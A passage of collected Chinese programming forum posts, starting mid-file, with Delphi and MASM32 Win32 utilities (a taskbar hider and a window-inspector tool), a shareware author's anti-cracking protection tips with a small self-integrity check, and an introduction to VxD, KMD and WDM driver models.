function DummyWindowProc (Wnd: hWnd; Msg, wParam: Word; lParam: LongInt)
:LongInt; stdcall; {注意这里有一个 stdcall;定义了回调函数}
var
TrayHandle: THandle;
dc: hDC;
i: Integer;
pm: HMenu;
pt: TPoint;
begin
DummyWindowProc := 0;
{下面两句是找到 Win95 任务栏的句柄}
StrPCopy(@WndClass[0], 'Progman');
TrayHandle := FindWindow(@WndClass[0], nil);
{下面开始处理消息}
case Msg of
{收到窗口创建消息 - 在任务栏上显示一个图标}
wm_Create: // Program initialisation - just set up a tray icon
begin
tid.cbSize := sizeof (tid);
tid.Wnd := Wnd;
tid.uID := 1;
tid.uFlags := nif_Message or nif_Icon or nif_Tip;
tid.uCallBackMessage := wm_User;
tid.hIcon := LoadIcon (hInstance, 'MAINICON');
lstrcpy (tid.szTip,'Desktop is on');
Shell_NotifyIcon (nim_Add, @tid);
end;

wm_Destroy: {收到关闭窗口消息时的处理}
begin
Shell_NotifyIcon (nim_Delete, @tid);
PostQuitMessage (0);
ShowWindow(TrayHandle, SW_RESTORE);
end;
{收到菜单消息时调用 HandleCommand 过程，并退出函数}
wm_Command: // Command notification
begin
HandleCommand (Wnd, LoWord (wParam));
Exit;
end;
{收到其他用户消息时的处理}
wm_User: // Had a tray notification - see what to do
{如果单击了鼠标左键， 则打开或关闭桌面}
if (lParam = wm_LButtonDown) then
begin
if x = 0 then
begin
ShowWindow(TrayHandle, SW_HIDE);
tid.hIcon := LoadIcon (hInstance, 'offICON');
lstrcpy (tid.szTip,'Desktop is off');
Shell_NotifyIcon (NIM_MODIFY, @tid);
x:=1
end else
begin
ShowWindow(TrayHandle, SW_RESTORE);
tid.hIcon := LoadIcon (hInstance, 'ONICON');
lstrcpy (tid.szTip,'Desktop is on');
Shell_NotifyIcon (NIM_MODIFY, @tid);
x:= 0;
end; {end of if}
end else
{如果是鼠标右键，则动态生成一个弹出式菜单}
if (lParam = wm_RButtonDown) then
begin
GetCursorPos (pt);
pm := CreatePopupMenu;
AppendMenu (pm, 0, Ord ('A'), 'About DeskTop Hide...');
AppendMenu (pm, mf_Separator, 0, Nil);
AppendMenu (pm, 0, Ord ('E'), 'Exit DeskTop Hide');
SetForegroundWindow (Wnd);
dc := GetDC (0);
if TrackPopupMenu (pm, tpm_BottomAlign or tpm_RightAlign,
pt.x,GetDeviceCaps(dc,HORZRES){pt.y}, 0, Wnd, Nil)
then SetForegroundWindow (Wnd);
DestroyMenu (pm)
end; {end of if}
end; {end of case}
{在处理过消息之后，还要调用默认函数，以完成标准的Windows程序应该执行的任务，所以这一句非常重要}
DummyWindowProc := DefWindowProc (Wnd, Msg, wParam, lParam);
end;

{这个就是处理菜单消息的过程}
procedure HandleCommand (Wnd: hWnd; Cmd: Word);
begin
case Cmd of
Ord ('A'): MessageBox (0, 'Freeware brian.slack@strath.ac.uk 1997',
AppName, mb_ok);
Ord ('E'): PostMessage (Wnd, wm_Close, 0, 0);
end;
end;

至此我们已经完成了这个只有38K的能将Win95桌面隐藏起来的程序，只要将本文中所有的函数和过程的顺序倒置，并将主程序放到最后，即可编译通过。


MiniSPY V1.0 (小小间谍)

标 题:MiniSPY V1.0 (小小间谍)
发信人:一块三毛钱
时 间:
详细信息:

这里调用的一些 API 函数可能对大家有点启发

;*************************************************************
;* Author: 一块三毛钱
;* E_mail: crazy_soft@163.net
;* Homepage: http://zhongts.yeah.net
;*************************************************************
;* Compile: Hutch's Masm32
;* Create Time: 2001.10.20
;* Modify: 2001.10.20
;* Description: MiniSPY V1.0 (小小间谍)
;* 捕捉桌面上的窗口（或子窗口）各窗口的属性，改
;* 变各窗口的状态
;*************************************************************

.386
.model flat,stdcall
option casemap:none

;****************************************************************************************

include d:\masm32\include\windows.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\gdi32.inc
include d:\masm32\include\winmm.inc

includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\gdi32.lib
includelib d:\masm32\lib\winmm.lib

;****************************************************************************************

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
SHWnd proto :DWORD
DrawFocus proto :DWORD
GetP proto :DWORD,:DWORD

;****************************************************************************************

.data
ClassName db "MiniSPYClass",0
AppName db "MiniSPY",0
DlgName db "DLG_MAIN",0 ;资源文件中所定义的对话框模板名称
szCaptureS db "显示 &>>",0 ;对话框 收拢/展开 时对应的按钮文本
szCaptureH db "<&< 隐藏",0
szCombo1 db "最大化",0 ;组合框中的项目
szCombo2 db "最小化",0
szCombo3 db "最顶层",0
szCombo4 db "失效",0
szCombo5 db "恢复",0
FORMat1 db "%08X",0
FORMat2 db "(%d,%d)(%d,%d) %d×%d",0
szSysMenu db "关于(&A)...",0
szAbout db "编程：一块三毛钱",13,10
db "主页：http://zhongts.yeah.net",13,10
db "信箱：crazy_soft@163.net",13,10,13,10
db "欢迎各位来我的主页溜达溜达",0
ws_Style dd WS_BORDER, ;窗口风格常数
WS_CAPTION,
WS_CHILD,
WS_CHILDWINDOW,
WS_CLIPCHILDREN,
WS_CLIPSIBLINGS,
WS_DISABLED,
WS_DLGFRAME,
WS_GROUP,
WS_HSCROLL,
WS_ICONIC,
WS_MAXIMIZE,
WS_MAXIMIZEBOX,
WS_MINIMIZE,
WS_MINIMIZEBOX,
WS_OVERLAPPED,
WS_OVERLAPPEDWINDOW,
WS_POPUP,
WS_POPUPWINDOW,
WS_SIZEBOX,
WS_SYSMENU,
WS_TABSTOP,
WS_THICKFRAME,
WS_TILED,
WS_TILEDWINDOW,
WS_VISIBLE,
WS_VSCROLL
szws_Style db "WS_BORDER ",0
db"WS_CAPTION ",0
db "WS_CHILD ",0
db "WS_CHILDWINDOW ",0
db "WS_CLIPCHILDREN ",0
db "WS_CLIPSIBLINGS ",0
db "WS_DISABLED ",0
db "WS_DLGFRAME ",0
db "WS_GROUP ",0
db "WS_HSCROLL ",0
db "WS_ICONIC ",0
db "WS_MAXIMIZE ",0
db "WS_MAXIMIZEBOX ",0
db "WS_MINIMIZE ",0
db "WS_MINIMIZEBOX ",0
db "WS_OVERLAPPED ",0
db "WS_OVERLAPPEDWINDOW",0
db "WS_POPUP ",0
db "WS_POPUPWINDOW ",0
db "WS_SIZEBOX ",0
db "WS_SYSMENU ",0
db "WS_TABSTOP ",0
db "WS_THICKFRAME ",0
db "WS_TILED ",0
db "WS_TILEDWINDOW ",0
db "WS_VISIBLE ",0
db "WS_VSCROLL ",0
ws_ExStyle ddWS_EX_ACCEPTFILES, ;窗口扩展风格常数
WS_EX_APPWINDOW,
WS_EX_CLIENTEDGE,
WS_EX_CONTEXTHELP,
WS_EX_CONTROLPARENT,
WS_EX_DLGMODALFRAME,
WS_EX_LEFT,
WS_EX_LEFTSCROLLBAR,
WS_EX_LTRREADING,
WS_EX_MDICHILD,
WS_EX_NOPARENTNOTIFY,
WS_EX_OVERLAPPEDWINDOW,
WS_EX_PALETTEWINDOW,
WS_EX_RIGHT,
WS_EX_RIGHTSCROLLBAR,
WS_EX_RTLREADING,
WS_EX_STATICEDGE,
WS_EX_TOOLWINDOW,
WS_EX_TOPMOST,
WS_EX_TRANSPARENT,
WS_EX_WINDOWEDGE
szws_ExStyle db "WS_EX_ACCEPTFILES ",0
db"WS_EX_APPWINDOW ",0
db "WS_EX_CLIENTEDGE ",0
db "WS_EX_CONTEXTHELP ",0
db "WS_EX_CONTROLPARENT ",0
db "WS_EX_DLGMODALFRAME ",0
db "WS_EX_LEFT ",0
db "WS_EX_LEFTSCROLLBAR ",0
db "WS_EX_LTRREADING ",0
db "WS_EX_MDICHILD ",0
db "WS_EX_NOPARENTNOTIFY ",0
db "WS_EX_OVERLAPPEDWINDOW",0
db "WS_EX_PALETTEWINDOW ",0
db "WS_EX_RIGHT ",0
db "WS_EX_RIGHTSCROLLBAR ",0
db "WS_EX_RTLREADING ",0
db "WS_EX_STATICEDGE ",0
db "WS_EX_TOOLWINDOW ",0
db "WS_EX_TOPMOST ",0
db "WS_EX_TRANSPARENT ",0
db "WS_EX_WINDOWEDGE ",0

.data?
hInstance HINSTANCE ?
hSysMenu dd ? ;系统菜单的句柄
hBtnShowHide dd ? ;"显示/隐藏"按钮的句柄
hBtnCatch dd ? ;图象框的句柄
hBtnIcon dd ? ;图象框2的句柄
hCombo dd ? ;组合框的句柄
hListStyle dd ? ;窗口风格列表框的句柄
hListExtStyle dd ? ;窗口扩展风格列表框的句柄
hWndOver dd ? ;捕捉时当前控件（或窗口）的句柄
hWndPre dd ? ;捕捉时前一控件（或窗口）的句柄
bSHWnd BOOL ? ;是否展开窗口的标志
bMouseDown BOOL ? ;鼠标是否按下
bHideWnd BOOL ? ;捕捉时是否隐藏主窗口
bFillFocus BOOL ? ;是否以块方式捕捉
rectFull RECT <?> ;对话框展开后的大小
rectHalf RECT <?> ;对话框收拢后的大小
rectSH RECT <?> ;"显示/隐藏"按钮的大小
WndStyle dd ? ;窗口风格

.const
IDI_ICON_MAIN equ 1000
IDI_ICON_CATCH1 equ 1001
IDI_ICON_CATCH2 equ 1002

IDC_CURSOR_CAPTURE equ 1003

IDS_SOUND equ 1004

IDC_EDIT_HANDLE equ 2010
IDC_EDIT_CAPTION equ 2011
IDC_EDIT_CLASS equ 2012
IDC_EDIT_RECT equ 2013
IDC_LIST_STYLE equ 2014
IDC_LIST_EXTSTYLE equ 2015
IDC_PICTURE_CATCH equ 2016
IDC_PICTURE_ICON equ 2017
IDC_COMBO_SEND equ 2018
IDC_BUTTON_APPLY equ 2019
IDC_BUTTON_FLASH equ 2020
IDC_BUTTON_SHOWHIDE equ 2021
IDC_CHECK_HIDEWINDOW equ 2022
IDC_CHECK_BLOCK equ 2023

IDM_ABOUT equ 3000

;****************************************************************************************

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,addr DlgName,NULL,addr DlgProc,0
invoke ExitProcess,eax

;对话框窗口过程**************************************************************************

DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
local rectCatch:RECT
local pt:POINT

.if uMsg==WM_INITDIALOG
invoke GetWindowRect,hWnd,addr rectFull ;取得窗口大小
invoke GetDlgItem,hWnd,IDC_BUTTON_SHOWHIDE ;取得"显示/隐藏"按钮的句柄
mov hBtnShowHide,eax ;句柄 => hBtnShowHide
invoke GetWindowRect,hBtnShowHide,addr rectSH ;取得"显示/隐藏"按钮的大小

push rectFull.left ;为 rectHalf 赋值
push rectFull.top
push rectFull.right
push rectSH.bottom
pop rectHalf.bottom
pop rectHalf.right
pop rectHalf.top
pop rectHalf.left
add rectHalf.bottom,12

mov bSHWnd,FALSE ;窗口第一次显示时呈收拢状态
invoke SHWnd,hWnd ;调用"展开/收拢窗口"子函数
invoke LoadIcon,hInstance,IDI_ICON_MAIN ;加载图标
invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,eax ;给对话框窗口设置图标

invoke GetSystemMenu,hWnd,FALSE ;取得系统菜单的句柄
mov hSysMenu,eax ;句柄 => hSysMenu
invoke AppendMenu,hSysMenu,MF_SEPARATOR,NULL,NULL ;插入分隔线
invoke AppendMenu,hSysMenu,MF_STRING,IDM_ABOUT,addr szSysMenu ;插入"关于..."菜单

invoke GetDlgItem,hWnd,IDC_CHECK_HIDEWINDOW
invoke SendMessage,eax,BM_SETCHECK,BST_CHECKED,0 ;捕捉时隐藏主窗口
mov bHideWnd,TRUE
invoke GetDlgItem,hWnd,IDC_CHECK_BLOCK
invoke SendMessage,eax,BM_SETCHECK,BST_UNCHECKED,0 ;以边框方式捕捉
mov bFillFocus,FALSE

invoke GetDlgItem,hWnd,IDC_PICTURE_ICON ;取得图象框2的句柄
mov hBtnIcon,eax ;句柄 => hBtnIcon
invoke GetDlgItem,hWnd,IDC_PICTURE_CATCH ;取得图象框的句柄
mov hBtnCatch,eax ;句柄 => hBtnCatch

invoke GetDlgItem,hWnd,IDC_COMBO_SEND ;取得组合框的句柄
mov hCombo,eax ;句柄 => hCombo
invoke SendMessage,hCombo,CB_ADDSTRING,0,addr szCombo1 ;初始化组合框
invoke SendMessage,hCombo,CB_ADDSTRING,0,addr szCombo2
invoke SendMessage,hCombo,CB_ADDSTRING,0,addr szCombo3
invoke SendMessage,hCombo,CB_ADDSTRING,0,addr szCombo4
invoke SendMessage,hCombo,CB_ADDSTRING,0,addr szCombo5

invoke GetDlgItem,hWnd,IDC_LIST_STYLE ;取得窗口风格列表框的句柄
mov hListStyle,eax ;句柄 => hListStyle
invoke GetDlgItem,hWnd,IDC_LIST_EXTSTYLE ;取得窗口扩展风格列表框的句柄
mov hListExtStyle,eax ;句柄 => hListExtStyle

mov bMouseDown,FALSE ;鼠标未按下

.elseif uMsg==WM_LBUTTONDOWN
invoke GetCursorPos,addr pt ;取得鼠标位置
invoke GetWindowRect,hBtnCatch,addr rectCatch ;取得图象框的大小
invoke PtInRect,addr rectCatch,pt.x,pt.y ;判断鼠标是否在图象框内
.if eax ;如果在
.if bHideWnd ;是否需要隐藏主窗口
invoke ShowWindow,hWnd,SW_HIDE
.endif
mov hWndOver,NULL
mov hWndPre,NULL
invoke SetCapture,hWnd ;锁定鼠标
invoke LoadCursor,hInstance,IDC_CURSOR_CAPTURE ;加载光标
invoke SetCursor,eax ;设置鼠标形状

invoke LoadIcon,hInstance,IDI_ICON_CATCH1 ;加载图标
invokeSendMessage,hBtnCatch,STM_SETICON,eax,0 ;替换图象框中的图标

mov bMouseDown,TRUE ;鼠标已按下
.endif

.elseif uMsg==WM_MOUSEMOVE
.if bMouseDown ;如果鼠标已按下
invoke GetCursorPos,addr pt ;取得鼠标位置
invoke WindowFromPoint,pt.x,pt.y ;取得鼠标位置处的窗口句柄
mov hWndOver,eax ;句柄 => hWndOver
.if eax != hWndPre && eax != hBtnCatch ;如果窗口改变了并且不是图象框时
invoke GetP,hWnd,hWndOver ;取得鼠标位置处的窗口的属性
invoke DrawFocus,hWndPre ;绘制焦点矩形
invoke DrawFocus,hWndOver
push hWndOver ;hWndOver => hWndPre
pop hWndPre
.endif
.endif

.elseif uMsg==WM_LBUTTONUP
.if bMouseDown ;如果鼠标已按下
invoke ReleaseCapture ;释放鼠标
invokePlaySound,IDS_SOUND,hInstance,SND_RESOURCE or SND_ASYNC ;播放音效
invoke LoadCursor,NULL,IDC_ARROW ;恢复鼠标形状
invoke SetCursor,eax

invoke LoadIcon,hInstance,IDI_ICON_CATCH2 ;加载图标
invoke SendMessage,hBtnCatch,STM_SETICON,eax,0 ;替换图象框中的图标

invoke DrawFocus,hWndOver
.if bHideWnd ;如果主窗口已被隐藏，则显示主窗口
invoke ShowWindow,hWnd,SW_SHOW
.endif

invoke SendMessage,hWndOver,WM_GETICON,ICON_BIG,1 ;取得图标
invoke SendMessage,hBtnIcon,STM_SETICON,eax,0 ;把图标显示在图象框2内

mov bMouseDown,FALSE ;鼠标未按下
.endif

.elseif uMsg==WM_COMMAND
mov eax,wParam
and eax,0ffffh
.if eax==IDC_BUTTON_SHOWHIDE ;"显示/隐藏"按钮
invoke SHWnd,hWnd
.elseif eax==IDC_BUTTON_APPLY ;"应用"按钮
invoke SendMessage,hCombo,CB_GETCURSEL,0,0
.if eax!=CB_ERR
;根据组合框中被选中项的不同，分别设置状态
.if eax==0
invoke ShowWindow,hWndOver,SW_MAXIMIZE
.elseif eax==1
invoke ShowWindow,hWndOver,SW_MINIMIZE
.elseif eax==2
invoke SetWindowPos,hWndOver,HWND_TOPMOST,0,0,0,0,SWP_NOSIZE or SWP_NOMOVE
.elseif eax==3
invoke EnableWindow,hWndOver,FALSE
.elseif eax==4
invoke ShowWindow,hWndOver,SW_RESTORE
invoke EnableWindow,hWndOver,TRUE
.endif
.endif
.elseif eax==IDC_BUTTON_FLASH ;"闪烁"按钮
.if hWndOver
push bFillFocus
mov bFillFocus,TRUE
invoke DrawFocus,hWndOver ;反色重画4次实现闪烁效果
invoke Sleep,100
invoke DrawFocus,hWndOver
invoke Sleep,100
invoke DrawFocus,hWndOver
invoke Sleep,100
invoke DrawFocus,hWndOver
invoke Sleep,100
invoke DrawFocus,hWndOver
invoke Sleep,100
invoke DrawFocus,hWndOver
invoke Sleep,100
invoke DrawFocus,hWndOver
invoke Sleep,100
invoke DrawFocus,hWndOver
pop bFillFocus
.endif

.elseif eax==IDC_CHECK_HIDEWINDOW ;捕捉时隐藏主窗口
invoke SendMessage,lParam,BM_GETCHECK,0,0
.if eax
mov bHideWnd,TRUE
.else
mov bHideWnd,FALSE
.endif
.elseif eax==IDC_CHECK_BLOCK ;块方式捕捉
invoke SendMessage,lParam,BM_GETCHECK,0,0
.if eax
mov bFillFocus,TRUE
.else
mov bFillFocus,FALSE
.endif
.endif

.elseif uMsg==WM_SYSCOMMAND
mov eax,wParam
movzx eax,ax
.if eax==IDM_ABOUT ;系统菜单中的"关于..."菜单
invoke MessageBox,hWnd,addr szAbout,addr AppName,MB_OK+MB_ICONINFORMATION
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
.endif

.elseif uMsg==WM_CLOSE
invoke EndDialog,hWnd,NULL
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp

;展开/收拢窗口子函数*********************************************************************

SHWnd proc hWnd:HWND
local rect:RECT

.if bSHWnd ;展开窗口
invoke SetWindowText,hBtnShowHide,addr szCaptureH ;设置按钮文本为"<&< 隐藏"
mov bSHWnd,FALSE
push rectFull.left
pop rect.left
push rectFull.right
pop rect.right
push rectFull.top
pop rect.top
push rectFull.bottom
pop rect.bottom
.else ;收拢窗口
invoke SetWindowText,hBtnShowHide,addr szCaptureS ;设置按钮文本为"显示 &>>"
mov bSHWnd,TRUE
push rectHalf.left
pop rect.left
push rectHalf.right
pop rect.right
push rectHalf.top
pop rect.top
push rectHalf.bottom
pop rect.bottom
.endif

mov eax,rect.right ;计算窗口的宽度
sub eax,rect.left
mov ebx,eax
mov eax,rect.bottom ;计算窗口的高度
sub eax,rect.top
invoke SetWindowPos,hWnd,NULL,0,0,ebx,eax,SWP_NOZORDER or SWP_NOMOVE ;重置窗口大小

ret
SHWnd endp

;绘制焦点矩形子函数**********************************************************************
DrawFocus proc hWnd:HWND
local hdc:HDC
local rect:RECT

.if hWnd
invoke GetDC,NULL ;取得 dc
mov hdc,eax ;dc => hdc
invoke GetWindowRect,hWnd,addr rect ;取得窗口大小
invoke SetROP2,hdc,R2_NOT ;绘图方式为反色

.if bFillFocus ;块方式捕捉
invoke InvertRect,hdc,addr rect ;将矩形区域反色
.else
invoke MoveToEx,hdc,rect.left,rect.top,NULL ;根据窗口大小绘制矩形
invoke LineTo,hdc,rect.right,rect.top
invoke MoveToEx,hdc,rect.right,rect.top,NULL
invoke LineTo,hdc,rect.right,rect.bottom
invoke MoveToEx,hdc,rect.right,rect.bottom,NULL
invoke LineTo,hdc,rect.left,rect.bottom
invoke MoveToEx,hdc,rect.left,rect.bottom,NULL
invoke LineTo,hdc,rect.left,rect.top

invoke OffsetRect,addr rect,-1,-1 ;根据窗口位置向左，向上分别移动一个象素
invoke MoveToEx,hdc,rect.left,rect.top,NULL ;再绘制一个矩形
invoke LineTo,hdc,rect.right,rect.top
invoke MoveToEx,hdc,rect.right,rect.top,NULL
invoke LineTo,hdc,rect.right,rect.bottom
invoke MoveToEx,hdc,rect.right,rect.bottom,NULL
invoke LineTo,hdc,rect.left,rect.bottom
invoke MoveToEx,hdc,rect.left,rect.bottom,NULL
invoke LineTo,hdc,rect.left,rect.top
.endif
.endif

ret
DrawFocus endp

;取得窗口属性子函数**********************************************************************
GetP proc hWndOwner:HWND, hWnd:HWND
local rect:RECT
local buffer[128]:byte

invoke wsprintf,addr buffer,addr FORMat1,hWnd ;取得句柄
invoke SetDlgItemText,hWndOwner,IDC_EDIT_HANDLE,addr buffer

invoke GetWindowText,hWnd,addr buffer,128 ;取得标题
invoke SetDlgItemText,hWndOwner,IDC_EDIT_CAPTION,addr buffer

invoke GetClassName,hWnd,addr buffer,128 ;取得类名
invoke SetDlgItemText,hWndOwner,IDC_EDIT_CLASS,addr buffer

invoke GetWindowRect,hWnd,addr rect ;取得区域大小
mov eax,rect.right
sub eax,rect.left
mov ebx,eax
mov eax,rect.bottom
sub eax,rect.top
invoke wsprintf,addr buffer,addr FORMat2,rect.left,rect.top,rect.right,rect.bottom,ebx,eax
invoke SetDlgItemText,hWndOwner,IDC_EDIT_RECT,addr buffer

invoke GetWindowLong,hWnd,GWL_STYLE ;取得窗口风格
mov WndStyle,eax ;风格 => WndStyle
invoke SendMessage,hListStyle,LB_RESETCONTENT,0,0 ;清空列表框
mov cx,1bh ;设置循环次数
mov bx,0 ;bx=0
mov si,0 ;si=0
loop1:
mov eax,ws_Style[bx] ;取窗口风格常数
and eax,WndStyle ;将它同 WndStyle 与，结果放在 eax 中
cmp eax,ws_Style[bx] ;再同原来取出的常数比较
jne break1 ;如果不等，则说明没有该风格，跳到下一个继续比较
invoke SendMessage,hListStyle,LB_ADDSTRING,0,addr szws_Style[si] ;填充列表框
break1:
add bx,4 ;修改 bx，使它指向下一个常数
add si,20 ;修改 si，使它指向下一个字符串
loop loop1

invoke GetWindowLong,hWnd,GWL_EXSTYLE ;取得窗口扩展风格
mov WndStyle,eax
invoke SendMessage,hListExtStyle,LB_RESETCONTENT,0,0
mov cx,15h
mov bx,0
mov si,0
loop2:
mov eax,ws_ExStyle[bx]
and eax,WndStyle
cmp eax,ws_ExStyle[bx]
jne break2
invoke SendMessage,hListExtStyle,LB_ADDSTRING,0,addr szws_ExStyle[si]
break2:
add bx,4
add si,23
loop loop2

ret
GetP endp

end start


Visual CHM2.x

 标 题:Visual CHM2.x的加密算法 (1千字)
时 间:2001-10-13 22:58:02
详细信息:
____Visual CHM 推出已经2个月了，2.0版后我见过几个破解版本，但是到现在都没有一个成功的破解版本，很多朋友问我是怎么加密的，我现在决定公布一下2.X(每个版本的加密方法都是一致的)采用了什么方法防破解。算是对中国共享软件作的一点点微小贡献吧!

_
___首先要防止被写出注册机， 你的软件的注册机一旦被发表， 那你完全有理由做成免费软件了。防止被写出注册机 最简单的方法就是保护你的校验算法，具体的做法就是千万别使用校验函数，把你的校验算法嵌入功能代码里是比较 保险的，这样破解者至少要花很多精力去研究那一部分是校验算法。当然这还不够，你还可以把检验算法分散到2个地 方。 我想如果不是象WinZIP、ACDsee这样的大牌软件，很少会有人去找出检验算法了（太头疼了）。做完了这些， 你还可以用Aspack,upx之类的压缩执行文件工具做进一步的保护。完了吗？还没有，我这里还有一些更用的东西。 现在的脱壳工具太多了，可以说是没有脱不掉的壳。那怎么办？我这里有一段Delphi5代码更进一步的保护你的软件：
procedure TForm1.FormCreate(Sender: TObject);
Var
exefile :file of byte;
ConstStr:byte;
begin
AssignFile(exefile, Application.ExeName);
reset(exefile);
filemode := 0; //读写属性设置为只读，这样才不会出错！
seek(exefile,5); //exe文件的第5+1个位置（自己设要查找的位置）
Read(exefile,ConstStr);
//showmessage(inttostr(ord(constmi)));//看看实际是多少（假定为56）
closefile(exefile);
if ConstStr <> chr(56) then exit;//如果第5+1个位置的值不是56退出（说明你的软件被改动了）
end;

____这段代码随时随地都可以加入，真的非常方便。 不过你要注意的是，万一用户的机器染上了病毒怎么办。 保护了检验算法，还要保护什么呢？其实还是校验算法，不过是最关键的判断注册成功与否那段代码。我想应该 是没有太好的方法，只是千万不要用明文比较。再想保护深一点就加入一些冗余代码，让Cracker在这堆代码里转的头 晕脑涨，你的目的就达到了。
____最后，有些话不吐不快。1.（引用别人：）加密是救不了共享软件业的！在好的加密技术也有人能解开的！与其花费时间去加密，不如把自己软件的功能增强些！ 这样可能会有更多的人支持您的！！（整天跳出窗口是谁也烦了）！ 我认为Cracker们其实挺可爱。 2. 此MM非彼MM，大家别误会!


VXD,KMD,WDM基本概念

 标 题:转：VXD,KMD,WDM基本概念 (5千字)
发信人:1212
时 间:2001-11-12 14:52:00
详细信息:
VXD,KMD,WDM基本概念
作者:陆麟

来来来,一起进入这黑黑的驱动程序世界.:)
这里要讲的是Vxd,Kernel Mode Driver,和WDM的一些基本问题.

什么是VxD?
VxD乃 VIRTUAL X DRIVER.哎,说了也白说.其实就是虚拟设备驱动程序.是系统用于对各种硬件资源识别,管理,维护运作的扩展.VXD和VMM(虚拟机管理器)一起合作,维持着系统的运作.VxD模式从WIN3X时代就开始了.一直到了WIN98还一直在MS的WIN系列操作系统中起主导作用.VxD运作在INTEL系列CPU保护模式下的RING0.拥有对硬件的最高控制权.

什么是Kernel Mode Driver(KMD)?
Kernel Mode Driver是NT下提出的管理,维护硬件运作的驱动程序模式.该DRIVER运行于NT的KERNEL模式下,类似于RING0.但是,一个KMD的运作环境在不同的时候是根本不同的.DRIVER收到设备请求时的运行环境很可能和设备请求实际操作的运行环境根本不同.这也是NT下,DRIVER的运作也受到NT的许多限制,一不小心,DRIVER和NT就同归于尽,来个BSOD(BLUE SCREEN OF DEATH).

什么是WDM?
WDM乃WIN32 DRIVER MODEL的简写.随WIN95 OSR2.1推出,和WIN2000兼容.乃MS力推的'全新'的驱动程序模式.目前网上WDM的文章很多,但是成书不多.基本上由于98对WDM的支持有限,而WIN2000又没有正式版推出,WDM的实际应用还不多.但是很快,WDM将成为主流的DRIVER模式.在我看来,WDM只不过是个PNP的KMD而已.(也许是没领悟到精髓说的话:))

--------------------------------------------------------------------------------

早期的WIN3X,核心是VMM,当时的VMM已经具备了基本的操作系统核心的一些特征.但是WIN3X的驱动程序模式混乱不堪.硬件由VxD驱动,网络和文件系统由实模式驱动程序驱动,多媒体硬件和打印机有RING3 DLL驱动,系统服务决大部分被转到V86模式下由实模式的DOS完成.
到了WIN95很大一部分系统服务被转换到了保护模式下.但是,混乱的驱动模式没有改变.WIN95主攻方向是易用性,而且的确WIN95在用户界面上有些进步.当95开发组努力开发的时候,NT也推出了.这是个号称C2极的OS.当然,我并不相信该系统的强壮性,如果它的源代码公开的话,很可能就不堪一击.当然,NT比95还是有可圈点之处的.它乃是个真正的32位系统.而且,提供了5个应用环境:WIN32,VDM,POSIX.WOW,OS/2.这5个环境相互独立,并且操作系统仅对WIN32环境提供接口,WIN32提供其他环境接口,其他环境的API调用最终被转换到WIN32,进入OS核心.换言之:WIN32是屏幕,鼠标,键盘的拥有者,其他环境如要使用,就要向WIN32子系统申请.
现在的WIN98乃是一个大杂种.包含了所有95的驱动程序模式,加上了WDM.很难想象.如果有一个硬件需要开放驱动程序.你必须首先看一下,适合什么模式.MINIPORT? NDIS? HID? RING0? RING3? 几乎每个硬件都对应一种模式.
::UNDOCUMENTED HINT
NT隐藏了一个环境.那就是NATIVE环境.这个环境可以说基本上没有在文档里出现过.也没有支持.在DDK里仅仅公开了一小部分NATIVE API.NATIVE环境在系统启动时尤其重要.NT的CHKDSK程序就是个NATIVE应用程序.在运行该程序时,根本就没有WIN32环境,更没有WOW, POSIX环境.这时候只有NATIVE API可供调用.而MS在很多情况下就是靠NATIVE API来获取更高的应用程序效能.得到不公平的竞争优势.某些NATIVE API甚至可饶过系统的安全检查来完成原先不能完成的任务.

VXD和KMD的最大区别在于VXD不需要考虑多CPU的问题.而KMD需要调用自旋锁来同步多CPU之间数据访问.当然,如果必要的话,通过VXD来增加对多CPU的支持应该并不困难,因为VMM提供了很开放的环境:VXD可以拦截VMM的调用入口.就类似于在DOS时代拦截INT21来扩展系统服务.而NT如果要扩展系统的化就很困难了.因为这是未公开的.(当然,方法还是有的.等过一段时间我再写:))
另外一个重要的区别是VXD可以在CPU处于实模式时就获得系统的控制.而KMD不能.等KMD获得第一个启动时机,CPU已经处于保护模式,甚至你替换调HAL或NTOSKRNL也无济于事.因为CPU的模式切换是有NTLDR进行的:(

--------------------------------------------------------------------------------

到底如何决定该用VXD还是KMD还是WDM呢?
当然,首先应该考虑的是应用平台.如果是NT4.X,你没得选了,肯定是KMD了.如果是WIN95,那也只有VXD一种选择.当目标平台是98或WIN2000,可
供选择的方法多点.但是也受到OS规范的限制.
98下.如果想开发的是FSD,那么必须用VXD.尽管98有个WDMFS.SYS的东西.但是它并非真正的WDM的文件系统驱动程序.98支持的FSD是以
IFSMGR.VXD为基础的VXD.
如果想搞DISK,COMM...等一系列的DRIVER.你也要写VXD.因为98并没有提供该类的WDM支持.那么98下什么可以用WDM呢?HID,网络类,多媒体类
的硬件支持已经转化到了WDM.你已经可以从DDK里发现这几类驱动程序的样板程序.
在NT2000下.我还不是很熟.但是很显然.对WDM的支持会更多.老的KMD将逐渐退出舞台.当然,KMD有他不可磨灭的优势.(在NT下,KMD的限制比9X
下的VXD多.但是它仍有一些活络余地.例如DISK驱动程序可以访问视频硬件,或者其他资源,但随NT的发展,早晚这些活络余地也会被取消.)WDM
需要将自己注册到相应的类里.有相应的例程必须输出.有些类似于MINIDRIVER.
最终要考虑的是DRIVER作者的习惯.对哪1种模式更熟悉,写作更方便,那就用哪个.
我个人开发98/95平台更多些.所以自己更倾向于VXD:安全限制最少.并且,我喜欢汇编.:) ?

--------------------------------------------------------------------------------

NTKERN.VXD的一些东东

NTKERN.VXD乃是WIN98提供NT类服务的核心驱动程序.它输出了几个VXD服务.尽管有头文件,但是却没有文档.这里告诉大家一个诀窍,很多服务和NT下ZwXXX例程具有相同的参数,乃是VXD版的ZwXXX.
例如NtKernCreateFile就是ZwCreateFile的翻版.它也具有11个参数.
下面是NTKERN.VXD的VXD服务列表.
NTKERN_Service _NTKERN_Get_Version, LOCAL
NTKERN_StdCall_Service _NtKernCreateFile, 11, VxD_CODE
NTKERN_StdCall_Service _NtKernClose, 1, VxD_CODE
NTKERN_StdCall_Service _NtKernReadFile, 9, VxD_CODE
NTKERN_StdCall_Service _NtKernWriteFile, 9, VxD_CODE
